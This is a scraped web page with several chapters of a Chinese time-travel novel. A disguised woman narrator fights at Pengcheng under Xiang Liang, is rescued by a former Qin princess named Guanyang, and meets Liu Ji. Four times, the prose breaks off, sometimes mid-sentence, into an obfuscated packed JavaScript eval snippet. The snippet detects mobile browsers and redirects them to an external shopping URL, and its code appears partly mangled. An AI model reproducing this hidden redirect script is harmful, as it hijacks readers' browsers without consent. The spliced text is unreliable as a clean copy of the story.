“就从后头敲了一下脑袋呗。”他说得轻巧,语气里还有几分得意,边说边挥舞起手臂比划。 我立刻下床,神情紧张:“那人呢?现在在哪儿?” “这……我也不知道啊。”他挠头,“我把你背走之后就赶紧跑了。” 我皱起眉头,有些恼道:“你就这么把人放走了?”心想,那可是我好不容易才找到的人啊!心中一阵懊悔。 古阆突然一拍脑门:“是呀,我怎么就这样把他放了呢!应该把他五花大绑送到武信君那去才对!” 我叹了口气,语气缓下来:“算了算了,我还是自己去找他吧。”说着便掀开帐帘走了出去。 外头营地已经是一片繁忙景象,士兵来往奔走,马匹嘶鸣,旌旗随风猎猎作响。还未走出几步,身后便响起急促的马蹄声。回头看去,只见古阆策马而来,左手牵着一匹马,“快,三军集结,准备渡淮河西进秦嘉、景驹!再不走就赶不上大军了。”他说着,将缰绳抛给我。 我翻身上马,他又从怀中抽出一把小巧弯刀递来,“随身连把武器都没有,怎能上战场?这刀你先用着。” 我心中不是滋味,其实我有武器的,就是那把韩信亲手赠予我的隐铁剑。只是那日走的仓促,忘了带上,真是可惜。 我低头看着手中弯刀,倒像是游牧民族所用,便好奇问:“你不是汉人?” 古阆策马并行,答道:“我阿娘是汉人,我也有一半汉人血统。只是多年前遭了场灾祸,族人全数遇难,独我逃来中原。” “什么灾祸?”我轻声问。 他沉默了片刻,眼中掠过一丝暗色:“这事有些长,改日再说吧。” “若是难以启齿,就别说了。”我说,“我更喜欢那个爱笑又自在的你,像你的民族一样,自由驰骋在天地之间。 古阆扬起眉梢,笑问:“你知道我的民族?” 我摇摇头,“不过是随意猜测。你骑术那么好,还带着这种特别的弯刀,多半是草原出身吧?” “你还挺聪明。”他说。 我得意道:“不瞒你说,骑马射箭可是我一直想学的。” “那你很快就能试试了。”古阆一笑,催马向前。 “你是说……在战场上?”我一愣,心头忽地有些发紧。 “那不然呢?”他回头朝我眨了下眼,策马疾驰而去。 我咬牙跟上,望着前方云旗飘动的军阵,心中不免泛起一阵莫名的不安。 终于赶到淮河岸边,远远望见大军正渡河而过。万马千军,铁甲奔腾,溅起的水花宛如激荡的血液,在天地间泼墨成画。多少锦绣江山,是踏着白骨血河铺就;又有多少宏图霸业,是在战火洗礼中重建。我策马奔行于这浩荡尘世,鼻尖嗅到的,皆是死亡的气息。 此次出征,项梁打着“秦嘉背叛陈胜、拥立景驹”的旗号,誓言讨伐二人。我虽对史书所载知之不详,亦无意去理会这场权力角逐的真假缘由,便只是一路随在古阆身后,不求建功立业,只求安然活着。□□这匹黑马驹性子温顺,也幸得如此,我才能翻山越岭,随军直逼彭城。 夜幕降临,军队扎营在一处未名湖畔。古阆猎得一只野物,剥皮烤熟,分我一半。我许久未沾荤腥,此刻瞧着那块早已看不出原型的肉,几乎如饿狼般大口吞咽。待一口气咽下半截,才猛地察觉——竟未尝出半点滋味。 古阆一边啃着肉一边调侃:“别的本事不见得多灵,啃老鼠的本事倒挺像样。” 话音刚落,我胃里一阵翻涌。低头看着剩下那半截焦糊的肉,只觉它活脱脱变作黑黢黢的大老鼠。古阆看我脸色发青,哈哈大笑:“怎么,嫌恶心啦?” 我强忍不适,他已一把将我手里的肉夺过,毫不客气地补充道:“现在这世道,有口肉吃就不错了!你也不想想,多少人饿着肚子与敌厮杀,你这还挑食?” 的确,我理解他的意思。曾作为运动员,为控体重也常忍饥挨饿,但那是训练馆里可控的节制,而不是此时此地、命悬沙场的挣扎。如今的我,就如这肉般——命贱如草,一不留神,便成他人刀下一块血腥残食。 我望着眼前这个吃得香甜的青年,终还是问出口:“你说……这场仗我们几分胜算?” 我知道,项梁注定会赢。但“他”的胜利,并不意味着全军将士不损一兵一卒。若战场如炉,一点微火也足以吞没一颗渺小的生命。可我知道,古阆未必懂我的意思。他仍嚼着肉,说得笃定:“定是毫无悬念的胜利。” “你为何总是这么自信?”我不解地看着他。 古阆停下动作,抬头望向远方湖面,语气淡然却沉重:“当这个世界,只剩下你一个人时,就没什么好怕的了。再大的痛,都比不过至亲惨死眼前的痛。而死亡,只是结束痛苦的方式之一。连死都不怕了,还怕什么?” 我顺着他的目光看去,今夜月满山头,银光如练,洒落一湖涟漪。我抱膝而坐,心中忽地浮现父母与亲人的脸。在那个和平年代里,无饥无战、无国破之忧,一切都那么清明安稳。曾经我只想做个普通人,简单活着,做喜欢的事,仅此而已。可如今,这些愿望仿佛离我越来越远。我不知道明日的阳光是否能照见希望,也不知道这片月色,会不会沾上血斑…… “你在想什么?”古阆的声音打断了我的沉思。 我依旧凝视湖面,缓缓答道:“对于一个平民小辈而言,我是在纯粹地怕死。毕竟,我选择的这条路……就是自投死路。” 古阆忽地一掌拍上我背,笑声朗朗:“既是明日忧,何来今日愁?你不是还有我这大哥吗?你的命,就归我罩着了!” 我也忍不住笑了出来,“你自个儿的命都管不住,可别再背我这条了。” “你取笑我?” 我急忙拱手作揖,“小弟岂敢!” 古阆又拍了拍我脑袋,站起身,“快歇会儿吧,再过几个时辰又要赶路了。” 我点点头,侧身而卧。只是心中仍在掂量自己这条命,到底值几钱。念及将至的战火,终觉这命,也不过是随风的一叶草,只能凭个老天垂怜。 大军终于在两日后赶到了彭城。全军将士战意高昂,连御马的速度都不自觉加快,我只能紧紧握住缰绳,勉力追赶在队伍的尾端。 彭城,今江苏徐州,我的记忆还停留在“上有天堂,下有苏杭”的江南旧景里。而此刻,两千多年前的战火早已将繁华夷为废墟。 天色阴沉,灰得压抑,像是在低声为亡魂哀歌。浩浩荡荡的军容,如同从地狱中涌出的使者,正讨要敌军的性命。冷兵器划破焦裂的土地,草木噤声,万物寂灭。 我缓缓拔出腰间弯刀,一手死死勒紧缰绳,后背不自觉地颤抖着。 前方数万兵士列阵如墨,杀气凛冽,将我层层包围。古阆策马靠近我身边,低声道:“一会儿交战开始,你便躲在我身后,我护你周全。” 我感激地点头。他轻笑一声:“握紧你的小武器,就像猎人宰杀猎物那样,记住,别犹豫。” 我再次握紧手中弯刀,拼命点头。 只听得一声震彻长空的怒吼:“杀——!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512534|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 十里尘土翻滚而起,如同腾云驾雾的风暴,将我卷入冷兵器交错的杀场。 我眼睁睁看着一个又一个人从我身边倒下,鲜血像决堤的洪流,喷溅四野,将天地染成血红。一个满脸狰狞的敌人挥戟扑来,眼神如猛兽锁定猎物,长戟破风而至,只余一步之遥。那一刻,我眼前一片血红,热流顺着面颊滑落,只听古阆焦急高喊:“仪风!不要犹豫,杀!” 那人头颅坠入我怀,我却分不清脸上是血水还是泪水。只觉冰凉一滴滴流过他那怒睁的双眸,我颤抖着伸手,为他合上眼帘。 混战再起,我被四五个敌军围困,刀刀凶狠。好在我身形灵巧,虽无法硬拼,却能暂时周旋几招。心想古阆解决完他那处,应该会赶来解救我,可是等了许久,他都未出现。我只能孤身苦撑,弯刀乱舞,招式杂乱得像只吃了肥胆的刺猬,竟吓得他们一愣。我趁隙划破其中一人的眼睛,拔腿狂奔。 我心知这是侥幸,边逃边焦急寻找古阆的身影。可战场四起狼烟,混乱如潮,我的奔逃只是自寻死路。敌人依旧如影随形,不知何时,我身上已被划出数道血痕。 体力渐尽,风势却愈发狂暴,卷起漫天尘土,连睁眼都艰难。幸而黑马驹灵性极高,一直护我左右,引我奔逃。但我已太过疲惫,眼见雷霆震空、暴雨将临,我不知自己还能支撑多久。 “古阆,你到底在哪……”我无力地伏在马背上,任凭雨水混着血滴滴淌落,灌入创口。 忽然,一道剑光破雨而来,如闪电劈面而至。求生本能驱使我徒手格住利剑,弯刀反划敌喉。热血喷洒,这一次,我再无犹豫。 当他睁大双眼倒下时,我依旧紧握那把剑。那一刻,我终于明白,这个世界远比我想象中更残酷。武将的生命虽坚,生死却只在一线之间。 “——小心!” 我猛然一惊,又见两道银光在眼前交战。一人身披银甲,浑身染血,招招致命,仅三式便斩敌首级。他冷冷扫我一眼,我认出了他——项梁! 他厉声喝令:“秦嘉已是败军之势,别让他们有路可退!” 我怔怔望着他飞身而去,风雨之中,他那背影冷冽而孤绝。天雷滚滚,乌云翻涌,我骤然清醒——这是乱世,没有情义,没有善恶,更没有披甲赴救的英雄。有的,只是血铺的生路。 战场杀伐仍烈,我能活下来的原因,不过是这把小小的弯刀,还有古阆为我选的黑马驹,和韩信那日教我的一点防身之术。靠着一丝灵敏与理智,我让这把弯刀饮足了血。小时候的英雄梦也许终于实现,但也在这血海中画上终止符。 这场战役的胜利几乎是注定的。项梁斩下秦嘉首级,高宣胜利。那颗血淋淋的头颅滚落至地,狰狞面孔正朝我怒视,我只觉胃中翻腾,身上伤痕与数日疲惫齐涌心头,眼前一黑,倒地不起。 暴雨终至,闪电划破长空,血腥味与尸臭充斥鼻尖。我已疲惫到连手指都抬不动。 黑马驹小心将我圈在身旁,避开奔腾铁骑。我感激地望着它,却只能无力地低语:“快走吧……别陪着我了。你是一匹好马,不该陪我埋骨于此。” 它凑近我,用鼻子轻蹭,然后拾起我落地的弯刀,转身消失于风雨之中。 我望着这片血红的战场,雨中,军队渐行渐远,也许,我真的要死在这里了。 夜幕降临,夕阳洒下残光,映照满地残肢断臂。我不愿在黑夜中成为野兽的口粮,必须想办法爬离此地。但我早已被箭伤及腿,唯有匍匐前行。 不知爬了多久,只觉寒意一寸寸吞噬了我的身体,世界渐入黑暗。我恨这乱世!它不再是史书上的只言片语,而是以血为墨、以命为纸,写下的每一刻。 在这里,所谓英雄情怀只是笑谈,生命如草芥,被铁蹄碾作血泥。而我,如今也成了这片战场上,一具被遗弃的废物。 就在我几乎失去意识之际,忽然——身后,一阵急促而清脆的蹄声传来。 也许,我的梦就要醒了。 13. 悺阳 我勉力转头望向那阵蹄声传来的方向,只见远处,一匹棕色骏马正踏沙而来,马背上的,是一位白衣女子。那一袭白裙在飞扬的尘土间翻卷,仿若御风而来。 随着距离的拉近,我终于看清她的模样:东方古老血脉中沉淀出的细腻眉眼,柔情里藏着一丝傲骨,殷红的唇像战场上的一滴血,落在这死寂的土地上,竟带来了一抹生机。 我趴伏在地,拼尽全身仅存的力气向她挥手。等她再近些,我用尽全力高喊:“姑娘,姑娘!这……里……”话未说尽,我已彻底瘫倒在泥泞中。 那一袭白裙终于停在我眼前,一阵茉莉清香随风而至,淡淡拂过鼻尖。 她俯身,将指尖轻轻搭在我鼻端,察觉尚有余息,柔声道:“我可以救你。但我一人之力,无法将你抬上马。你得自己再用点力,在我的帮助下上马。” 我点头示意,声音微弱:“再给我些时间……缓口气。” 她未再言语,只静静地蹲在我身侧,守着我。 片刻后,我轻声道:“好了,可以扶我了。” 她握住我手臂,我深吸一口气,咬牙将身体撑起,腿上伤势却重得要命,一使力,剧痛袭来,膝盖几乎再次跪地。她却冷静地道:“要想活下去,就必须站起来。” 她的声音清冷坚决,那抹茉莉香也似乎更浓了几分,温和而沉静,盖过泥土的潮气与空气中隐约的血腥。我紧咬下唇,借着她的力道再次撑起,这一次没有再倒下。我踉跄几步,终于艰难地翻身上马,汗水早已湿透了衣襟。 “坐稳了。”她在身后道。 我无力地瘫在马背上,浑身像被抽干了力气,大脑一片空白。 “你是楚军?”她问,语气清清冷冷,却藏着一丝急切,“那你知不知道,刚才那场仗是谁胜了?……算了,你直接告诉我,项梁去了哪里?” 我老实回答:“楚军胜了,但我与大部队失散,不知道他们往哪儿去了。” “无妨,我先带你去疗伤。” 我抬头看她:“敢问姑娘芳名?” “悺阳。” 我忍不住赞道:“乱世中敢孤身穿越战场的女子,真是凤毛麟角,姑娘堪称女中英杰。” “你也不错。”她在我耳边淡淡地回了一句。 我一愣:“我?我可是……” “你是女子。”悺阳冷静打断。 我想辩解,却瞬间哑口,脸上一热,竟有几分羞愧。难道,真是只有女人最懂女人? “你是怎么知道的?”我低声问。 “别说我刚才碰过你,”她道,“其实,我一直觉得,女人装作男人,本就不难识破。” “可军营里没人揭穿我?”我疑惑。 悺阳轻轻一笑:“许是有人故意不说,又或者这乱世太苦,能用一个是一个。当然,也可能是他们眼瞎。 我未再开口,只觉得悺阳所言确有几分道理。天色愈发昏暗,伤口依旧隐隐作痛,但最难以抵御的,还是从骨子里涌出的疲惫。 悺阳驾马拐入一处偏僻的小村落,夜色静谧,荒凉无声。她将马牵入一间废弃的草棚,低声道:“今晚就在这里落脚吧。先处理下你的伤,明日再上路。” 她小心扶我下马,随后从随身的包袱中取出数个小药瓶,一边察看我伤势一边淡淡道:“这些药原是留给他的……但如今看来,也许已用不上了。” 她的语气一如既往地平静,不显喜悲。但我知道,那个“他”,在她心中,定然是极重的存在。 我轻声道:“若他知道你如此乐于助人,一定会感到欣慰。” 悺阳唇角微扬,似笑非笑:“当初,也是我救了他。如今只盼还能再救一次……却也不愿再让他受伤。” 我想与她多说几句,以此转移注意力,缓解些许伤痛:“那……你们为何会分开?” 她的手微顿,随后淡淡答道:“本就无缘。我们之间,有一道太深的沟壑。” 我不禁好奇:“既是无缘,为何你还愿千里迢迢为他送药疗伤?我想,今日你的选择,或许已说明了一切。” 悺阳替我一一处理好身上的伤口,与我一同倚在草堆上仰望夜空。天色愈沉,乌云低垂,不见星辰。 她忽然轻声道:“二世昏庸残暴,不仅谋杀忠臣,更是大义灭亲。他为了登帝之位,害死我皇兄,又将我兄弟姐妹尽数处决。我至今忘不了那一日,咸阳街道上的血流成河,尸骸遍地……” 她顿了顿,回忆道:“我曾是秦国公主。可若说是公主,倒不如说是一个被封存在名分里的影子。父皇因愧对我母亲,将我藏在阿房宫最深处的寝殿中,自幼不得出。说是保护我,但自母亲亡后,他几乎再未出现过。后来听说他已死,我竟也未曾太过悲伤。” “那后来呢?”我忍不住轻声问道。 她的目光像是穿透了夜色:“是章邯救了我——如今的秦国上将军。当时我与他素无交情,他却执意带我离开。那座阿房宫,是我与母亲最美的回忆,但也是一座冷宫。再华丽的牢笼也是牢笼。我想走,不论章邯是敌是友。我后来才知,他是扶苏哥哥的故交,而我……或许真的在孩提时见过他。他没有将我带入府中,而是安排我登上一辆马车,送往赵国,交给一个叫夏阜南的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512535|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那再之后呢?”我被她的故事牵引,如拨开一页页无人知晓的旧史。 “马车顺利将我送至赵地,找到了一家破旧的小药铺。那人正是夏阜南,鬓发已白,背也驼了。他见到我,激动得颤抖不已,握着我的手许久说不出话。”悺阳声音轻得像一缕风,“我才知道,父皇出生在赵国都城邯郸,自幼在那里长大。年少微服私访时遇见了我母亲——阿房。他曾许诺,有朝一日得天下,便回来迎娶她。这一等,便是十年。他回来了,没有聘礼,没有仪仗,只有他一人,母亲毫不犹豫便随他入咸阳。” 我怔住了。千古一帝,也曾有过这样温柔的情与诺。阿房宫,不只是奇迹,更是一个帝王以山河许下的深情誓言。 “你的父皇,已用一座宫殿为你的母亲筑下永恒。”我低声道。 悺阳浅浅一笑:“他未曾为她正名,却早已认她为妻。” “那你在赵地之后呢?” “夏阜南是我的外祖父。他病重不久便去世了,只留下一间药铺与几册医书。可治病救人并非我所愿。我自小被困于孤宫之中,如今自由在望,自是要四处闯荡。那两年,我孤身游历列国、边塞,甚至走过雪山,原野,后又行至吴中,遇到了正在逃亡的项氏叔侄。当时项梁身中数箭,命悬一线。我自幼随母学医,又靠祖父的药书维生,自是能救他。朝夕相处之下,我见识到他的胆识、才略、胸怀……他不同于世人,温柔沉稳,胸有丘壑。” 她眸光沉静如水,唇角却露出淡淡的笑:“我告诉他,我愿一生追随他,哪怕只是个医女。他应允了。” 我屏息听着。 “可不久之后,他看到了我腰间的玉佩,知我是秦国宗室之人。他沉默了许久,最后对我说——走吧,能走多远就走多远。他不杀我,也不想再见到我。” “你没有请求留下?”我望着她,泪光映在她脸上,仿佛冰雕不动的面庞终于微微颤了。 “我是皇族之女,而他是楚国贵胄。秦楚世仇,他不杀我,已是恩典。” “可你如今回来寻他,便不怕……他这次会杀你吗?” 悺阳仰望黑夜,唇角带笑,语气却低哑:“当你真正爱上一个人,你可以踏遍千山万水,只为见他一面。哪怕死,也要见。我的爱与恨,皆要尽情燃烧。若不能守护他,那便以命相抵。” 我怔怔地望着悺阳。这一夜,我似乎看不到,这个美丽的女子,不是宫中的幽鸟,也不是高岭的白孔雀。她是草原上凌空掠过的鹰,自由、孤独,爱得决绝。 不过,就怕这样炙烈的深情……反而会成为一道禁锢她的枷锁。 14. 流寇 次日,白月尚未隐入晨曦,我们便起身继续赶路。 “伤口好些了吗?”悺阳问,声音温柔,却带着一丝不容忽视的关切。 “似乎不再像昨天那样难以忍受了,但腿上的伤还是有些吃力。”我边活动腿部,边勉强说道,话语中掩不住的疲惫。 “要不是昨日我及时处理,恐怕你的腿早就废了。”悺阳微微叹息,“倒是忘了问你,叫什么名字?” 我坐在悺阳身后,随着马儿的步伐轻轻颠簸,倒是稍微恢复了些许精神。“江湖名和真名,你要听哪个?” 悺阳淡然一笑:“两个都说说吧。” “我叫文言,江湖名‘仪风’。”我简洁地回应道。 悺阳没有再说话,气氛再次归于平静。她的性格从不多言,总是清冷自若,仿佛所有的波澜都与她无关。 路上,除了偶尔的问候,我们并没有太多交流。前几日与敌军的生死相搏,仿佛耗尽了我所有的力气。此刻,哪怕在马背上,我也总会忍不住闭眼休息。每每闭上眼,脑海里却总是浮现那些血腥的画面,尸骸、断裂的头颅、迅猛的刀光、飞舞的箭雨,还有那些死后扭曲的面容和消失的生命。这些记忆深深烙印在我的心头,令我无法安睡。即使此刻已不再身处战场,心中的恐惧仍旧无法散去。我常常担心,某处突然飞出的箭矢,或是意外的刀锋,会再一次夺走我的生命。 “我真佩服你,姑娘家的,胆子这么大。”我笑道,“这些路,风景虽美,但你就不怕山贼之类的,把你掳走了?” “没什么好怕的,注意些就行了。”悺阳笑了笑,又摇晃了一段路程,继续说道,“走出这座山,应该就离开胡陵了。项梁究竟会往什么方向去,你能猜得到吗?” 我思索片刻。秦嘉一败,项梁势必会追杀景驹。史书里记载,景驹最终逃往梁地,死于此地。或许,他们会朝梁地而去。 “也许是往梁地去了。”我回答道。 “有依据吗?”悺阳追问。 “没有,只能根据别人的记载推测。”我耸了耸肩。 “是哪位高人?”悺阳好奇地问。 我笑了笑,轻松道:“算是高人,但也是后人。”我视悺阳为朋友,不仅因为她救了我,更因为她身上那份自在不羁,令我心生敬佩。因此,我也愿意与她坦诚相待,分享我的思绪。 悺阳沉默了片刻,终于开口:“那文言,你究竟是何人?” 我叹了口气,微微低头:“我的故事有些离奇,难以解释清楚。我只能告诉你,我不是这个时代的人,但正是因为这个时代的人,我才陷入了这个时代。” 悺阳闻言,眼中闪过一丝了然,随即笑道:“难不成,你混入项梁部下,也是因为这个缘故?” 我抬头望向刺眼的阳光,眼中有些迷茫,“和你一样,那里有我想要寻找的人。” 马儿再次穿行于几座低矮的山岭之间,环绕成一个天然的包围圈,唯一的出路是那道狭窄的隘口。周围无风,寂静得令人不安,只有悦耳的马蹄声回荡在空旷的山谷中。那一片沉默的安静,反而让我不由得紧张,四下打量,“这里真是一个占据优势的军事地形。” 悺阳的马也渐渐放慢了速度,“小心。”她低声提醒。 我下意识地摸了摸腰间,才想起那把古阆赠予的弯刀已经被黑马驹叼走了。心中一阵烦躁,不明白它为何连我的防身利器也要带走,看来它真的对我失望透顶。 “糟了!”悺阳突然警觉地喊道,“有埋伏。” 当我回过神来时,悺阳已经拔出剑,锋利的剑刃指向从山岭夹缝中出现的三个粗壮汉子。与此同时,山岭上几个灰头土脸的地头痞子举着刀起哄,“没想到今日撞上的竟是个女人,还有个小白脸。” “是啊,那女人倒是不错,男的就算了吧。”其中一个脸上留着交叉疤痕的黑脸男大声叫道,“六宝!搜刮了,弄死那个男的,女人带回去,给那位当个见面礼。” 一旁的一个肥头大汉狞笑着应道,随即三人一同举刀朝我们扑来。 “文言,下马,躲起来,这里交给我。”悺阳冷静地道。 虽然心中不放心她,但我转念一想,自己如今一身伤势,又没有任何防身的利器,留在这里无疑是累赘。我迅速环顾四周,发现这些山岭之间有一道道夹缝相连,便悄然转身藏身其中。 悺阳的剑如同舞动的光芒,灵动且迅速。她身穿轻盈的白衣,在刀光剑影中飞舞,三个粗鲁的大汉显得笨重又迟缓,几轮交手后,他们已被她斩伤累倒,趴在地上喘息不止。正当悺阳准备一一解决时,地面突然震动,我看见山体开始晃动,碎石不停滚落。 “你若再反抗,我就把这些石头推下去,到时你的脸毁了,或者被砸死,你可别怪哥没提醒你。”那熟悉的声音再次响起。 我的心一沉,紧张地看向悺阳,发现她依旧从容不迫,但内心的担忧却骤然升起。我心里清楚,如果再坐以待毙,今天我们恐怕都难以脱身。 我迅速捡起脚前的碎石,开始沿着夹缝穿梭,寻找敌人上山的路线。幸运的是,这些夹缝之间都有相通之处,我示意悺阳藏入其中,自己则跟随其后。 悺阳毫不犹豫地将那三人解决,立刻跟我一同进入夹缝。我低声问道:“你还有刀借我吗?” 悺阳没有犹豫,丢给我一个弹弓,“只有这个。” 我笑了笑:“这倒是巧,小时候我就玩这个打人,碎石这么多,倒是正合我意。” 悺阳点了点头,“我在明,你在暗。等他们下来后,你掩护我。” 不久,几个敌人陆续现身,我迅速拾起一袋石块,准确地瞄准他们的关节部位。一颗颗石头如飞箭般打向目标,而我则灵活地藏匿在夹缝中,像只地鼠一样,利用地势配合悺阳的攻击。悺阳的剑法确实迅捷,不一会儿,只有那名刀疤男仍然能与她对抗。 我从暗处出来,得意地站在悺阳身侧,只见那名刀疤男愁眉苦脸地说:“小的也只是想混口饭吃,二位侠女,求求你们放过我吧!” 悺阳依然冷冷地把剑架在他的脖子上,眼神冰冷。那男子见状,脸上满是惶恐,痛哭流涕,“求求你们,放过我吧!我再也不敢了,求求你们!” 过了许久,悺阳终于开口:“你不是说要毁了我的脸吗?你如此残忍,连女人都不放过,为何我还要手下留情?” “女侠,我错了,真的错了……”男子的哀求声此起彼伏。我看着他满脸的泪水,不禁心生动容,轻声对悺阳道:“算了,放过他吧,也许他真的知道悔改。” 悺阳的眼神依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512536|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧冰冷:“天下动乱,作为男儿不担起守卫家国之责,却在这里伤害无辜妇女。若只是□□就罢了,但竟还要做些更为龌龊的事。你不给活路,为何我要对你宽容?你这人,看你脸上的疤,想来是惯犯,恐怕害死了不少人,是时候给他们一个交代了!”说着,她冷冷地举起剑,准备挥下。 突然,有人喊道:“姑娘且慢!” 一个其貌不凡的男子自隘口缓步而来,身着灰布长衣,发以木枝束起,举止从容。他的衣着虽素,却掩不住骨子里那股气宇轩昂之气,行走之间,竟有几分风流倜傥之态。其身旁还跟着一个大胖汉,浓眉大眼,满脸虬髯,凶神恶煞得像个闹市里的恶鬼。 那灰衣男子走近,神色温和,朝我们拱手笑道:“在下刘季,有一事冒昧相求,还望姑娘能将此人交予我等处置。” 他目光温润,眉眼含情地看向我们,笑意里透出一股不容拒绝的从容。 悺阳并未看他一眼,冷冷反问:“我为何要答应你?莫非这人是你带来的?” 她毫不犹豫,剑尖直指刘季。 刘季却神色未变,依旧温声说道:“姑娘剑法高绝,那些人欲伤你,反倒命丧刀下。如今姑娘毫发未损,而此人也无力再伤你,不若退一步,饶他一命。你看,可好?” 说罢,他目光移向我,那双清澈如水的眼眸仿佛藏着万千柔情。 我下意识看向悺阳,只见她沉默片刻,终是将剑缓缓收起,转身去牵马。 地上的人似捡回一命,连连磕头,“谢谢两位大人不杀之恩……” 我抬眼看了看刘季,只觉他眼底那层不动声色的深意,像夜色一样教人猜不透。我正要转身离开,他忽然出声问道:“姑娘尊姓大名?” 我一怔,回望他,见他仍是含笑不语,唇角轻勾着那一抹似真似假的柔意。我犹豫了一下,淡声道:“仪风。” “看你这身打扮,应是失散的楚军吧?”刘季笑了笑,“兴许我们还有缘再见。下次,可得伪装得像些。” 他说着,伸手摸了摸自己下巴的胡渣,又朝我轻佻地眨了眨眼。我心头顿生几分不快,冷冷地回瞪他一眼:“但愿无缘,保重。” 刚欲上马,他又扬声说道:“前往梁地之路并不太平,沿途流寇横行,军队来回,姑娘与这位女侠当真不需我们护送一程?” 悺阳此时已牵好马缰,神色冷淡,似乎不打算再多停留。 我翻身上马,语气亦冷:“多谢好意,但相比之下,我们更信得过自己,不劳公子费心。” 马蹄声扬起尘土,我回头看了一眼刘季,他仍站在原地,风吹动他灰布衣袍,神色未变,只是那眼神,始终淡淡地落在我身上。 不知为何,他的名字令我心头泛起一丝莫名的熟悉与不安。刘季——我仿佛在哪里听过。 “阿言,我们今晚得在这里扎营。”悺阳的声音在风中传来,将我的思绪打断。 我抬眼望去,前方是一片辽阔的草地,被黄昏染成金色,远处的湖泊倒映着天光如画。 “明日,我们就能到梁地了。”她说道。 我望着那片被晚霞染红的大地,心中微微一颤——这暮色的红,宛如战火纷飞中血染的残阳,在这乱世里,总让人忍不住想起那些倒在尘土中的无名亡魂。 15. 酒香与心事 我与悺阳在湖边拾柴生火,又幸运地捉到一条肥鱼和一只野鸡,便成了今夜的佳肴。这大概是我穿越以来,吃得最好的一顿饭。 悺阳从随身的包袱中取出一瓶珍藏的纯酿——据她说,是流浪塞北时偶遇一个神秘家族赠予的。他们曾是大漠深处的古老驯兽人,一直隐居于黄沙孤岭之间。悺阳在寻找水源时迷了路,是他们家驯养的一只雪狼将她带了回去。她得了水源,而在机缘巧合下,也救下了他们家被雪狼咬伤的小儿子。 我笑着打趣道:“古老的驯兽人也会被自家雪狼咬伤?” 悺阳将酒递给我。我借着篝火的昏黄抿了一口,一股奶香扑鼻而来,“有点像马奶酒的味道。” 她望着火光,慢慢讲:“我在那里住了几天,见过他们的一把木琴,用木棍拉出的曲调很特别,像是一种压抑的哭声。据说那琴声连动物听了都会落泪。他爹说,那孩子就是因为私自弹了这琴,才惹怒了雪狼。我猜他大概没得到家族的真传,弹得狼都伤心了。” 我捧腹大笑,“这小儿子,定是传说中的败家子。” 悺阳也笑着大口喝了一口酒:“文言,换你了,说说你的故事吧。” 我有些醉意上头,脑袋发昏,便任由回忆在酒香中翻涌。 “我是来自两千年后的人,却不知为何会来到这个时代。”我掏出藏在颈间的小铜铃,那是我许久未曾细看的物什。我在耳边轻晃着它,声音清脆,“也许就是它带我来的……” 我顿了顿,望着火焰缓缓道:“你知道吗?在我的世界里,我们从小就要学你们的历史、诗歌,可常常一个字都读不进去。觉得你们怎么这么爱绕弯子说话,害我背得头痛。可后来慢慢发现,时代发展得太快了,旧的东西都在流失。我却越来越怀念那些需要时间沉淀的文化。我开始读你们的书,看关于你们的剧,听那些古老的旋律。我常问自己:‘哪个才是黄金时代?’” “可终究没有答案。对我而言,黄金时代从不是某段历史,而是一份情怀。就在我穿越前,一位老法师将这枚铜铃交给我,自那以后我总做梦,梦到一个身披铠甲的男人,他试图唤醒我心底某种记忆。后来,我真的穿越了。见到了他。” “开始时,我还以为是梦,直到梦醒后,现实赤裸裸地摆在我面前。我并不抗拒,但我也渴望回去。混入楚军,只是为了寻找那位送我铜铃的人,想解开这场梦。” 我不知道悺阳是否听懂,但我说得动情,也许是酒劲,也许是压抑太久。等我回头看她时,她正一脸认真地望着我,眼里像个孩子般纯净。 我顿时有些不好意思:“抱歉,也许说得太乱,让你难以理解。” 悺阳怔了一下,随即夺过我手中的酒壶:“虽然我听不懂你说的那些,但我知道,你不是这世上的人。你的家,很远。”她仰头喝了一口,却发现壶里空了,皱起眉头:“都被你喝光了?” “是啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512537|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 